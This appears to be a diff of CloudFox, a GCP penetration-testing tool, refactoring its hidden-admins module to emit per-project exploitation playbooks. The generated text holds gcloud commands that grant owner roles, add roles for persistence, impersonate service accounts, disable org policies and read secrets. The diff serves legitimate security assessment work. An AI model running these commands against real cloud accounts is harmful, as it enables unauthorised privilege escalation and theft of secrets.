"gcloud container node-pools list --cluster=%s --location=%s --project=%s\n\n"+
|
||||
"# kubectl commands (after getting credentials):\n"+
|
||||
"kubectl cluster-info\n"+
|
||||
"kubectl get nodes -o wide\n"+
|
||||
"kubectl get namespaces\n"+
|
||||
"# kubectl commands (after getting credentials):\n\n"+
|
||||
"# Show cluster endpoint and services info\n"+
|
||||
"kubectl cluster-info\n\n"+
|
||||
"# List all nodes with additional details (IP, OS, runtime)\n"+
|
||||
"kubectl get nodes -o wide\n\n"+
|
||||
"# List all namespaces in the cluster\n"+
|
||||
"kubectl get namespaces\n\n"+
|
||||
"# Check what actions you can perform in the cluster\n"+
|
||||
"kubectl auth can-i --list\n\n",
|
||||
cluster.Name, cluster.Location,
|
||||
cluster.ProjectID,
|
||||
@@ -379,8 +389,8 @@ func (m *GKEModule) buildTablesForProject(clusters []GKEService.ClusterInfo, nod
|
||||
// Node pools table - node-level details including hardware security (like instances module)
|
||||
nodePoolHeader := []string{
|
||||
"Project", "Cluster", "Node Pool", "Machine Type", "Node Count",
|
||||
"Service Account", "SA Attack Paths", "SA Scopes", "SA Scope Summary",
|
||||
"Auto Upgrade", "Secure Boot", "Integrity", "Preemptible",
|
||||
"Service Account", "SA Attack Paths", "SA Scopes", "SA Scope Summary",
|
||||
}
|
||||
|
||||
var nodePoolBody [][]string
|
||||
@@ -409,10 +419,11 @@ func (m *GKEModule) buildTablesForProject(clusters []GKEService.ClusterInfo, nod
|
||||
|
||||
nodePoolBody = append(nodePoolBody, []string{
|
||||
m.GetProjectName(np.ProjectID), np.ClusterName, np.Name,
|
||||
np.MachineType, fmt.Sprintf("%d", np.NodeCount), saDisplay, attackPaths,
|
||||
scopes, scopeSummary, shared.BoolToYesNo(np.AutoUpgrade),
|
||||
np.MachineType, fmt.Sprintf("%d", np.NodeCount),
|
||||
shared.BoolToYesNo(np.AutoUpgrade),
|
||||
shared.BoolToYesNo(np.SecureBoot), shared.BoolToYesNo(np.IntegrityMonitoring),
|
||||
shared.BoolToYesNo(np.Preemptible || np.Spot),
|
||||
saDisplay, attackPaths, scopes, scopeSummary,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
Regular → Executable
+295
-392
@@ -90,6 +90,9 @@ type HiddenAdminsModule struct {
|
||||
WrongAdmins []foxmapperservice.WrongAdminFinding
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache
|
||||
|
||||
// OrgCache for ancestry lookups
|
||||
OrgCache *gcpinternal.OrgCache
|
||||
|
||||
OrgIDs []string
|
||||
OrgNames map[string]string
|
||||
FolderNames map[string]string
|
||||
@@ -168,6 +171,15 @@ func GetIAMModificationPermissions() []IAMModificationPermission {
|
||||
func (m *HiddenAdminsModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
logger.InfoM("Analyzing IAM policies to identify hidden admins...", globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
|
||||
|
||||
// Load OrgCache for ancestry lookups (needed for per-project filtering)
|
||||
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
|
||||
diskCache, _, err := gcpinternal.LoadOrgCacheFromFile(m.OutputDirectory, m.Account)
|
||||
if err == nil && diskCache != nil && diskCache.IsPopulated() {
|
||||
m.OrgCache = diskCache
|
||||
}
|
||||
}
|
||||
|
||||
// Try to load FoxMapper data for wrongadmin analysis
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if m.FoxMapperCache == nil || !m.FoxMapperCache.IsPopulated() {
|
||||
@@ -491,342 +503,7 @@ func (m *HiddenAdminsModule) getKnownRolePermissions(role string) []string {
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) generateLoot() {
|
||||
m.LootMap["hidden-admins-exploit-commands"] = &internal.LootFile{
|
||||
Name: "hidden-admins-exploit-commands",
|
||||
Contents: "# GCP Hidden Admins - IAM Modification Exploit Commands\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
|
||||
// Add entity-specific exploit commands
|
||||
for _, admin := range m.AllAdmins {
|
||||
m.addAdminToLoot(admin)
|
||||
}
|
||||
|
||||
// Add playbook
|
||||
m.generatePlaybook()
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) addAdminToLoot(admin HiddenAdmin) {
|
||||
lootFile := m.LootMap["hidden-admins-exploit-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
scopeInfo := fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeName)
|
||||
if admin.ScopeName == "" {
|
||||
scopeInfo = fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeID)
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Permission: %s\n"+
|
||||
"# Principal: %s (%s)\n"+
|
||||
"# Scope: %s\n"+
|
||||
"# Category: %s\n"+
|
||||
"%s\n\n",
|
||||
admin.Permission,
|
||||
admin.Principal, admin.PrincipalType,
|
||||
scopeInfo,
|
||||
admin.Category,
|
||||
admin.ExploitCommand,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) generatePlaybook() {
|
||||
var content strings.Builder
|
||||
content.WriteString(`# GCP Hidden Admins Exploitation Playbook
|
||||
# Generated by CloudFox
|
||||
#
|
||||
# This playbook provides exploitation techniques for principals with IAM modification capabilities.
|
||||
|
||||
`)
|
||||
|
||||
// Add wrong admins section if FoxMapper data is available
|
||||
if len(m.WrongAdmins) > 0 {
|
||||
content.WriteString(m.generateWrongAdminsSection())
|
||||
}
|
||||
|
||||
// Add IAM modification section
|
||||
content.WriteString(m.generatePlaybookSections())
|
||||
|
||||
m.LootMap["hidden-admins-playbook"] = &internal.LootFile{
|
||||
Name: "hidden-admins-playbook",
|
||||
Contents: content.String(),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) generateWrongAdminsSection() string {
|
||||
var sb strings.Builder
|
||||
|
||||
sb.WriteString("## Wrong Admins (FoxMapper Analysis)\n\n")
|
||||
sb.WriteString("These principals are marked as admin in the IAM graph but don't have explicit admin roles (roles/owner).\n")
|
||||
sb.WriteString("Instead, they have self-assignment capabilities (can grant themselves roles/owner).\n\n")
|
||||
sb.WriteString("**Why this matters:** These principals are effectively admin but may not appear in standard admin audits.\n")
|
||||
sb.WriteString("They can escalate to full admin access at any time by modifying IAM policies.\n\n")
|
||||
|
||||
// Group by admin level
|
||||
orgWrong := []foxmapperservice.WrongAdminFinding{}
|
||||
folderWrong := []foxmapperservice.WrongAdminFinding{}
|
||||
projectWrong := []foxmapperservice.WrongAdminFinding{}
|
||||
|
||||
for _, wa := range m.WrongAdmins {
|
||||
switch wa.AdminLevel {
|
||||
case "org":
|
||||
orgWrong = append(orgWrong, wa)
|
||||
case "folder":
|
||||
folderWrong = append(folderWrong, wa)
|
||||
default:
|
||||
projectWrong = append(projectWrong, wa)
|
||||
}
|
||||
}
|
||||
|
||||
if len(orgWrong) > 0 {
|
||||
sb.WriteString("### CRITICAL: Organization-Level Wrong Admins\n\n")
|
||||
for _, wa := range orgWrong {
|
||||
sb.WriteString(fmt.Sprintf("**%s** [%s]\n", wa.Principal, wa.MemberType))
|
||||
for _, reason := range wa.Reasons {
|
||||
sb.WriteString(fmt.Sprintf(" - %s\n", reason))
|
||||
}
|
||||
sb.WriteString("\n```bash\n")
|
||||
sb.WriteString("# This principal can grant themselves org-level owner:\n")
|
||||
sb.WriteString(fmt.Sprintf("gcloud organizations add-iam-policy-binding ORG_ID \\\n"))
|
||||
sb.WriteString(fmt.Sprintf(" --member='%s:%s' \\\n", wa.MemberType, wa.Principal))
|
||||
sb.WriteString(" --role='roles/owner'\n")
|
||||
sb.WriteString("```\n\n")
|
||||
}
|
||||
}
|
||||
|
||||
if len(folderWrong) > 0 {
|
||||
sb.WriteString("### HIGH: Folder-Level Wrong Admins\n\n")
|
||||
for _, wa := range folderWrong {
|
||||
sb.WriteString(fmt.Sprintf("**%s** [%s]\n", wa.Principal, wa.MemberType))
|
||||
for _, reason := range wa.Reasons {
|
||||
sb.WriteString(fmt.Sprintf(" - %s\n", reason))
|
||||
}
|
||||
sb.WriteString("\n```bash\n")
|
||||
sb.WriteString("# This principal can grant themselves folder-level owner:\n")
|
||||
sb.WriteString(fmt.Sprintf("gcloud resource-manager folders add-iam-policy-binding FOLDER_ID \\\n"))
|
||||
sb.WriteString(fmt.Sprintf(" --member='%s:%s' \\\n", wa.MemberType, wa.Principal))
|
||||
sb.WriteString(" --role='roles/owner'\n")
|
||||
sb.WriteString("```\n\n")
|
||||
}
|
||||
}
|
||||
|
||||
if len(projectWrong) > 0 {
|
||||
sb.WriteString("### MEDIUM: Project-Level Wrong Admins\n\n")
|
||||
for _, wa := range projectWrong {
|
||||
sb.WriteString(fmt.Sprintf("**%s** [%s]", wa.Principal, wa.MemberType))
|
||||
if wa.ProjectID != "" {
|
||||
sb.WriteString(fmt.Sprintf(" in %s", wa.ProjectID))
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
for _, reason := range wa.Reasons {
|
||||
sb.WriteString(fmt.Sprintf(" - %s\n", reason))
|
||||
}
|
||||
projectID := wa.ProjectID
|
||||
if projectID == "" {
|
||||
projectID = "PROJECT_ID"
|
||||
}
|
||||
sb.WriteString("\n```bash\n")
|
||||
sb.WriteString("# This principal can grant themselves project-level owner:\n")
|
||||
sb.WriteString(fmt.Sprintf("gcloud projects add-iam-policy-binding %s \\\n", projectID))
|
||||
sb.WriteString(fmt.Sprintf(" --member='%s:%s' \\\n", wa.MemberType, wa.Principal))
|
||||
sb.WriteString(" --role='roles/owner'\n")
|
||||
sb.WriteString("```\n\n")
|
||||
}
|
||||
}
|
||||
|
||||
sb.WriteString("---\n\n")
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) generatePlaybookSections() string {
|
||||
var sections strings.Builder
|
||||
|
||||
// Group admins by permission category
|
||||
categories := map[string][]HiddenAdmin{
|
||||
"Org IAM": {},
|
||||
"Folder IAM": {},
|
||||
"Project IAM": {},
|
||||
"Custom Roles": {},
|
||||
"SA IAM": {},
|
||||
"Org Policy": {},
|
||||
"Storage IAM": {},
|
||||
"BigQuery IAM": {},
|
||||
"Pub/Sub IAM": {},
|
||||
"Secrets IAM": {},
|
||||
"Compute IAM": {},
|
||||
"Functions IAM": {},
|
||||
"Cloud Run IAM": {},
|
||||
"Artifact Registry IAM": {},
|
||||
"KMS IAM": {},
|
||||
}
|
||||
|
||||
for _, admin := range m.AllAdmins {
|
||||
if _, ok := categories[admin.Category]; ok {
|
||||
categories[admin.Category] = append(categories[admin.Category], admin)
|
||||
}
|
||||
}
|
||||
|
||||
// Organization IAM Modification
|
||||
if len(categories["Org IAM"]) > 0 {
|
||||
sections.WriteString("## Organization IAM Modification\n\n")
|
||||
sections.WriteString("Principals with organization-level IAM modification can grant any role to any principal across the entire organization.\n\n")
|
||||
sections.WriteString("### Principals with this capability:\n")
|
||||
for _, admin := range categories["Org IAM"] {
|
||||
sections.WriteString(fmt.Sprintf("- %s (%s) at %s\n", admin.Principal, admin.PrincipalType, admin.ScopeName))
|
||||
}
|
||||
sections.WriteString("\n### Exploitation:\n")
|
||||
sections.WriteString("```bash\n")
|
||||
sections.WriteString("# Grant yourself Owner role at org level\n")
|
||||
sections.WriteString("gcloud organizations add-iam-policy-binding ORG_ID \\\n")
|
||||
sections.WriteString(" --member='user:[email protected]' \\\n")
|
||||
sections.WriteString(" --role='roles/owner'\n\n")
|
||||
sections.WriteString("# Or grant more subtle roles for persistence\n")
|
||||
sections.WriteString("gcloud organizations add-iam-policy-binding ORG_ID \\\n")
|
||||
sections.WriteString(" --member='user:[email protected]' \\\n")
|
||||
sections.WriteString(" --role='roles/iam.securityAdmin'\n")
|
||||
sections.WriteString("```\n\n")
|
||||
}
|
||||
|
||||
// Folder IAM Modification
|
||||
if len(categories["Folder IAM"]) > 0 {
|
||||
sections.WriteString("## Folder IAM Modification\n\n")
|
||||
sections.WriteString("Principals with folder-level IAM modification can grant roles affecting all projects in the folder hierarchy.\n\n")
|
||||
sections.WriteString("### Principals with this capability:\n")
|
||||
for _, admin := range categories["Folder IAM"] {
|
||||
sections.WriteString(fmt.Sprintf("- %s (%s) at folder %s\n", admin.Principal, admin.PrincipalType, admin.ScopeName))
|
||||
}
|
||||
sections.WriteString("\n### Exploitation:\n")
|
||||
sections.WriteString("```bash\n")
|
||||
sections.WriteString("# Grant yourself Editor role at folder level (affects all child projects)\n")
|
||||
sections.WriteString("gcloud resource-manager folders add-iam-policy-binding FOLDER_ID \\\n")
|
||||
sections.WriteString(" --member='user:[email protected]' \\\n")
|
||||
sections.WriteString(" --role='roles/editor'\n")
|
||||
sections.WriteString("```\n\n")
|
||||
}
|
||||
|
||||
// Project IAM Modification
|
||||
if len(categories["Project IAM"]) > 0 {
|
||||
sections.WriteString("## Project IAM Modification\n\n")
|
||||
sections.WriteString("Principals with project-level IAM modification can grant any role within the project.\n\n")
|
||||
sections.WriteString("### Principals with this capability:\n")
|
||||
for _, admin := range categories["Project IAM"] {
|
||||
sections.WriteString(fmt.Sprintf("- %s (%s) in project %s\n", admin.Principal, admin.PrincipalType, admin.ScopeName))
|
||||
}
|
||||
sections.WriteString("\n### Exploitation:\n")
|
||||
sections.WriteString("```bash\n")
|
||||
sections.WriteString("# Grant yourself Owner role\n")
|
||||
sections.WriteString("gcloud projects add-iam-policy-binding PROJECT_ID \\\n")
|
||||
sections.WriteString(" --member='user:[email protected]' \\\n")
|
||||
sections.WriteString(" --role='roles/owner'\n\n")
|
||||
sections.WriteString("# Grant compute admin for instance access\n")
|
||||
sections.WriteString("gcloud projects add-iam-policy-binding PROJECT_ID \\\n")
|
||||
sections.WriteString(" --member='user:[email protected]' \\\n")
|
||||
sections.WriteString(" --role='roles/compute.admin'\n")
|
||||
sections.WriteString("```\n\n")
|
||||
}
|
||||
|
||||
// Custom Role Management
|
||||
if len(categories["Custom Roles"]) > 0 {
|
||||
sections.WriteString("## Custom Role Management\n\n")
|
||||
sections.WriteString("Principals who can create or update custom roles can add dangerous permissions to existing roles or create new privileged roles.\n\n")
|
||||
sections.WriteString("### Principals with this capability:\n")
|
||||
for _, admin := range categories["Custom Roles"] {
|
||||
sections.WriteString(fmt.Sprintf("- %s (%s) - %s in %s\n", admin.Principal, admin.PrincipalType, admin.Permission, admin.ScopeName))
|
||||
}
|
||||
sections.WriteString("\n### Exploitation:\n")
|
||||
sections.WriteString("```bash\n")
|
||||
sections.WriteString("# Create a custom role with setIamPolicy permission\n")
|
||||
sections.WriteString("gcloud iam roles create customPrivesc --project=PROJECT_ID \\\n")
|
||||
sections.WriteString(" --title='Custom Admin' \\\n")
|
||||
sections.WriteString(" --permissions='resourcemanager.projects.setIamPolicy'\n\n")
|
||||
sections.WriteString("# Update existing custom role to add dangerous permissions\n")
|
||||
sections.WriteString("gcloud iam roles update ROLE_ID --project=PROJECT_ID \\\n")
|
||||
sections.WriteString(" --add-permissions='iam.serviceAccounts.getAccessToken,iam.serviceAccountKeys.create'\n")
|
||||
sections.WriteString("```\n\n")
|
||||
}
|
||||
|
||||
// Service Account IAM
|
||||
if len(categories["SA IAM"]) > 0 {
|
||||
sections.WriteString("## Service Account IAM Modification\n\n")
|
||||
sections.WriteString("Principals who can modify service account IAM can grant themselves or others the ability to impersonate SAs.\n\n")
|
||||
sections.WriteString("### Principals with this capability:\n")
|
||||
for _, admin := range categories["SA IAM"] {
|
||||
sections.WriteString(fmt.Sprintf("- %s (%s) in %s\n", admin.Principal, admin.PrincipalType, admin.ScopeName))
|
||||
}
|
||||
sections.WriteString("\n### Exploitation:\n")
|
||||
sections.WriteString("```bash\n")
|
||||
sections.WriteString("# List service accounts to find targets\n")
|
||||
sections.WriteString("gcloud iam service-accounts list --project=PROJECT_ID\n\n")
|
||||
sections.WriteString("# Grant yourself token creator role on a privileged SA\n")
|
||||
sections.WriteString("gcloud iam service-accounts add-iam-policy-binding \\\n")
|
||||
sections.WriteString(" SA@PROJECT_ID.iam.gserviceaccount.com \\\n")
|
||||
sections.WriteString(" --member='user:[email protected]' \\\n")
|
||||
sections.WriteString(" --role='roles/iam.serviceAccountTokenCreator'\n\n")
|
||||
sections.WriteString("# Then impersonate the SA\n")
|
||||
sections.WriteString("gcloud auth print-access-token \\\n")
|
||||
sections.WriteString(" --impersonate-service-account=SA@PROJECT_ID.iam.gserviceaccount.com\n")
|
||||
sections.WriteString("```\n\n")
|
||||
}
|
||||
|
||||
// Org Policy
|
||||
if len(categories["Org Policy"]) > 0 {
|
||||
sections.WriteString("## Organization Policy Modification\n\n")
|
||||
sections.WriteString("Principals who can modify org policies can disable security constraints.\n\n")
|
||||
sections.WriteString("### Principals with this capability:\n")
|
||||
for _, admin := range categories["Org Policy"] {
|
||||
sections.WriteString(fmt.Sprintf("- %s (%s) at %s\n", admin.Principal, admin.PrincipalType, admin.ScopeName))
|
||||
}
|
||||
sections.WriteString("\n### Exploitation:\n")
|
||||
sections.WriteString("```bash\n")
|
||||
sections.WriteString("# Disable domain restricted sharing constraint\n")
|
||||
sections.WriteString("gcloud resource-manager org-policies disable-enforce \\\n")
|
||||
sections.WriteString(" constraints/iam.allowedPolicyMemberDomains \\\n")
|
||||
sections.WriteString(" --organization=ORG_ID\n\n")
|
||||
sections.WriteString("# Disable public access prevention\n")
|
||||
sections.WriteString("gcloud resource-manager org-policies disable-enforce \\\n")
|
||||
sections.WriteString(" constraints/storage.publicAccessPrevention \\\n")
|
||||
sections.WriteString(" --project=PROJECT_ID\n")
|
||||
sections.WriteString("```\n\n")
|
||||
}
|
||||
|
||||
// Storage IAM
|
||||
if len(categories["Storage IAM"]) > 0 {
|
||||
sections.WriteString("## Storage Bucket IAM Modification\n\n")
|
||||
sections.WriteString("Principals who can modify bucket IAM can grant themselves access to bucket contents.\n\n")
|
||||
sections.WriteString("### Principals with this capability:\n")
|
||||
for _, admin := range categories["Storage IAM"] {
|
||||
sections.WriteString(fmt.Sprintf("- %s (%s)\n", admin.Principal, admin.PrincipalType))
|
||||
}
|
||||
sections.WriteString("\n### Exploitation:\n")
|
||||
sections.WriteString("```bash\n")
|
||||
sections.WriteString("# Grant yourself object viewer on a bucket\n")
|
||||
sections.WriteString("gsutil iam ch user:[email protected]:objectViewer gs://BUCKET_NAME\n\n")
|
||||
sections.WriteString("# Or grant full admin access\n")
|
||||
sections.WriteString("gsutil iam ch user:[email protected]:objectAdmin gs://BUCKET_NAME\n")
|
||||
sections.WriteString("```\n\n")
|
||||
}
|
||||
|
||||
// Secrets IAM
|
||||
if len(categories["Secrets IAM"]) > 0 {
|
||||
sections.WriteString("## Secret Manager IAM Modification\n\n")
|
||||
sections.WriteString("Principals who can modify secret IAM can grant themselves access to secret values.\n\n")
|
||||
sections.WriteString("### Principals with this capability:\n")
|
||||
for _, admin := range categories["Secrets IAM"] {
|
||||
sections.WriteString(fmt.Sprintf("- %s (%s)\n", admin.Principal, admin.PrincipalType))
|
||||
}
|
||||
sections.WriteString("\n### Exploitation:\n")
|
||||
sections.WriteString("```bash\n")
|
||||
sections.WriteString("# Grant yourself secret accessor role\n")
|
||||
sections.WriteString("gcloud secrets add-iam-policy-binding SECRET_NAME \\\n")
|
||||
sections.WriteString(" --member='user:[email protected]' \\\n")
|
||||
sections.WriteString(" --role='roles/secretmanager.secretAccessor' \\\n")
|
||||
sections.WriteString(" --project=PROJECT_ID\n\n")
|
||||
sections.WriteString("# Then access the secret\n")
|
||||
sections.WriteString("gcloud secrets versions access latest --secret=SECRET_NAME --project=PROJECT_ID\n")
|
||||
sections.WriteString("```\n\n")
|
||||
}
|
||||
|
||||
return sections.String()
|
||||
// Loot is now generated per-project in writeHierarchicalOutput/writeFlatOutput
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
@@ -870,15 +547,265 @@ func (m *HiddenAdminsModule) adminsToTableBody(admins []HiddenAdmin) [][]string
|
||||
return body
|
||||
}
|
||||
|
||||
// adminsForProject returns hidden admins filtered for a specific project
|
||||
// Includes:
|
||||
// - Project-scoped findings where ScopeID matches this project
|
||||
// - Org-scoped findings where the org is this project's org
|
||||
// - Folder-scoped findings where the folder is in this project's ancestry path
|
||||
// For all of the above, the principal must either be from this project (SA) or be a user/group
|
||||
func (m *HiddenAdminsModule) adminsForProject(projectID string) []HiddenAdmin {
|
||||
var filtered []HiddenAdmin
|
||||
|
||||
// Get ancestry data for this project
|
||||
var ancestorFolders []string
|
||||
var projectOrgID string
|
||||
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
|
||||
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
|
||||
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
|
||||
}
|
||||
|
||||
// Build a set of ancestor folder IDs for quick lookup
|
||||
ancestorFolderSet := make(map[string]bool)
|
||||
for _, folderID := range ancestorFolders {
|
||||
ancestorFolderSet[folderID] = true
|
||||
}
|
||||
|
||||
for _, admin := range m.AllAdmins {
|
||||
// Check if principal is relevant for this project
|
||||
principalProject := extractProjectFromPrincipal(admin.Principal, m.OrgCache)
|
||||
principalRelevant := principalProject == projectID || principalProject == ""
|
||||
|
||||
if !principalRelevant {
|
||||
continue
|
||||
}
|
||||
|
||||
switch admin.ScopeType {
|
||||
case "project":
|
||||
// Project-scoped: must match this project
|
||||
if admin.ScopeID == projectID {
|
||||
filtered = append(filtered, admin)
|
||||
}
|
||||
case "organization":
|
||||
// Org-scoped: must be this project's org
|
||||
if projectOrgID != "" && admin.ScopeID == projectOrgID {
|
||||
filtered = append(filtered, admin)
|
||||
} else if projectOrgID == "" {
|
||||
// No org info, include all org findings for users/groups
|
||||
filtered = append(filtered, admin)
|
||||
}
|
||||
case "folder":
|
||||
// Folder-scoped: must be in this project's ancestry
|
||||
if len(ancestorFolderSet) > 0 {
|
||||
if ancestorFolderSet[admin.ScopeID] {
|
||||
filtered = append(filtered, admin)
|
||||
}
|
||||
} else {
|
||||
// No ancestry info, include all folder findings for users/groups
|
||||
filtered = append(filtered, admin)
|
||||
}
|
||||
default:
|
||||
// Resource-level: include if principal is relevant
|
||||
filtered = append(filtered, admin)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
|
||||
// adminsToTableBodyForProject returns table body filtered for a specific project
|
||||
func (m *HiddenAdminsModule) adminsToTableBodyForProject(projectID string) [][]string {
|
||||
admins := m.adminsForProject(projectID)
|
||||
return m.adminsToTableBody(admins)
|
||||
}
|
||||
|
||||
// wrongAdminsForProject returns wrong admins filtered for a specific project
|
||||
// Includes:
|
||||
// - Project-level wrong admins where ProjectID matches this project
|
||||
// - Org-level wrong admins where OrgID matches this project's org
|
||||
// - Folder-level wrong admins where FolderID is in this project's ancestry
|
||||
// For all of the above, the principal must either be from this project (SA) or be a user/group
|
||||
func (m *HiddenAdminsModule) wrongAdminsForProject(projectID string) []foxmapperservice.WrongAdminFinding {
|
||||
var filtered []foxmapperservice.WrongAdminFinding
|
||||
|
||||
// Get ancestry data for this project
|
||||
var ancestorFolders []string
|
||||
var projectOrgID string
|
||||
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
|
||||
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
|
||||
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
|
||||
}
|
||||
|
||||
// Build a set of ancestor folder IDs for quick lookup
|
||||
ancestorFolderSet := make(map[string]bool)
|
||||
for _, folderID := range ancestorFolders {
|
||||
ancestorFolderSet[folderID] = true
|
||||
}
|
||||
|
||||
for _, wa := range m.WrongAdmins {
|
||||
principalProject := extractProjectFromPrincipal(wa.Principal, m.OrgCache)
|
||||
principalRelevant := principalProject == projectID || principalProject == ""
|
||||
|
||||
if !principalRelevant {
|
||||
continue
|
||||
}
|
||||
|
||||
switch wa.AdminLevel {
|
||||
case "project":
|
||||
// Project-level: include if ProjectID matches this project
|
||||
if wa.ProjectID == projectID {
|
||||
filtered = append(filtered, wa)
|
||||
}
|
||||
case "org":
|
||||
// Org-level: must be this project's org
|
||||
if projectOrgID != "" && wa.OrgID == projectOrgID {
|
||||
filtered = append(filtered, wa)
|
||||
} else if projectOrgID == "" {
|
||||
// No org info available, include all org findings for relevant principals
|
||||
filtered = append(filtered, wa)
|
||||
}
|
||||
case "folder":
|
||||
// Folder-level: must be in this project's ancestry
|
||||
if len(ancestorFolderSet) > 0 && wa.FolderID != "" {
|
||||
if ancestorFolderSet[wa.FolderID] {
|
||||
filtered = append(filtered, wa)
|
||||
}
|
||||
} else if len(ancestorFolderSet) == 0 {
|
||||
// No ancestry info available, include all folder findings for relevant principals
|
||||
filtered = append(filtered, wa)
|
||||
}
|
||||
default:
|
||||
// Unknown level, include for relevant principals if ProjectID matches
|
||||
if wa.ProjectID == projectID || wa.ProjectID == "" {
|
||||
filtered = append(filtered, wa)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
|
||||
// wrongAdminsToTableBodyForProject returns wrong admins table body for a project
|
||||
func (m *HiddenAdminsModule) wrongAdminsToTableBodyForProject(projectID string) [][]string {
|
||||
var body [][]string
|
||||
for _, wa := range m.wrongAdminsForProject(projectID) {
|
||||
reasonsStr := strings.Join(wa.Reasons, "; ")
|
||||
|
||||
displayProject := wa.ProjectID
|
||||
if displayProject == "" {
|
||||
displayProject = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
wa.Principal,
|
||||
wa.MemberType,
|
||||
wa.AdminLevel,
|
||||
displayProject,
|
||||
reasonsStr,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// generatePlaybookForProject generates a loot file specific to a project
|
||||
func (m *HiddenAdminsModule) generatePlaybookForProject(projectID string) *internal.LootFile {
|
||||
admins := m.adminsForProject(projectID)
|
||||
wrongAdmins := m.wrongAdminsForProject(projectID)
|
||||
|
||||
if len(admins) == 0 && len(wrongAdmins) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
var sb strings.Builder
|
||||
sb.WriteString("# GCP Hidden Admins Exploitation Playbook\n")
|
||||
sb.WriteString(fmt.Sprintf("# Project: %s\n", projectID))
|
||||
sb.WriteString("# Generated by CloudFox\n\n")
|
||||
|
||||
// Add wrong admins section if available
|
||||
if len(wrongAdmins) > 0 {
|
||||
sb.WriteString("## Wrong Admins (FoxMapper Analysis)\n\n")
|
||||
sb.WriteString("These principals are marked as admin but don't have explicit admin roles.\n\n")
|
||||
|
||||
for _, wa := range wrongAdmins {
|
||||
sb.WriteString(fmt.Sprintf("### %s [%s]\n", wa.Principal, wa.MemberType))
|
||||
sb.WriteString(fmt.Sprintf("Admin Level: %s\n", wa.AdminLevel))
|
||||
for _, reason := range wa.Reasons {
|
||||
sb.WriteString(fmt.Sprintf(" - %s\n", reason))
|
||||
}
|
||||
|
||||
// Add exploit command based on admin level
|
||||
switch wa.AdminLevel {
|
||||
case "org":
|
||||
sb.WriteString("\n```bash\n")
|
||||
sb.WriteString("# Grant yourself org-level owner:\n")
|
||||
sb.WriteString(fmt.Sprintf("gcloud organizations add-iam-policy-binding ORG_ID --member='%s:%s' --role='roles/owner'\n", wa.MemberType, wa.Principal))
|
||||
sb.WriteString("```\n\n")
|
||||
case "folder":
|
||||
sb.WriteString("\n```bash\n")
|
||||
sb.WriteString("# Grant yourself folder-level owner:\n")
|
||||
sb.WriteString(fmt.Sprintf("gcloud resource-manager folders add-iam-policy-binding FOLDER_ID --member='%s:%s' --role='roles/owner'\n", wa.MemberType, wa.Principal))
|
||||
sb.WriteString("```\n\n")
|
||||
default:
|
||||
sb.WriteString("\n```bash\n")
|
||||
sb.WriteString("# Grant yourself project-level owner:\n")
|
||||
targetProject := wa.ProjectID
|
||||
if targetProject == "" {
|
||||
targetProject = projectID
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("gcloud projects add-iam-policy-binding %s --member='%s:%s' --role='roles/owner'\n", targetProject, wa.MemberType, wa.Principal))
|
||||
sb.WriteString("```\n\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add hidden admins section
|
||||
if len(admins) > 0 {
|
||||
sb.WriteString("## Hidden Admins (IAM Modification Capabilities)\n\n")
|
||||
|
||||
for _, admin := range admins {
|
||||
scopeInfo := fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeName)
|
||||
if admin.ScopeName == "" {
|
||||
scopeInfo = fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeID)
|
||||
}
|
||||
|
||||
sb.WriteString(fmt.Sprintf("### %s [%s]\n", admin.Principal, admin.PrincipalType))
|
||||
sb.WriteString(fmt.Sprintf("Permission: %s\n", admin.Permission))
|
||||
sb.WriteString(fmt.Sprintf("Category: %s\n", admin.Category))
|
||||
sb.WriteString(fmt.Sprintf("Scope: %s\n", scopeInfo))
|
||||
sb.WriteString("\n```bash\n")
|
||||
sb.WriteString(admin.ExploitCommand)
|
||||
sb.WriteString("\n```\n\n")
|
||||
}
|
||||
}
|
||||
|
||||
return &internal.LootFile{
|
||||
Name: "hidden-admins-commands",
|
||||
Contents: sb.String(),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
if admins, ok := m.ProjectAdmins[projectID]; ok && len(admins) > 0 {
|
||||
|
||||
// Hidden admins table
|
||||
body := m.adminsToTableBodyForProject(projectID)
|
||||
if len(body) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "hidden-admins",
|
||||
Header: m.getHeader(),
|
||||
Body: m.adminsToTableBody(admins),
|
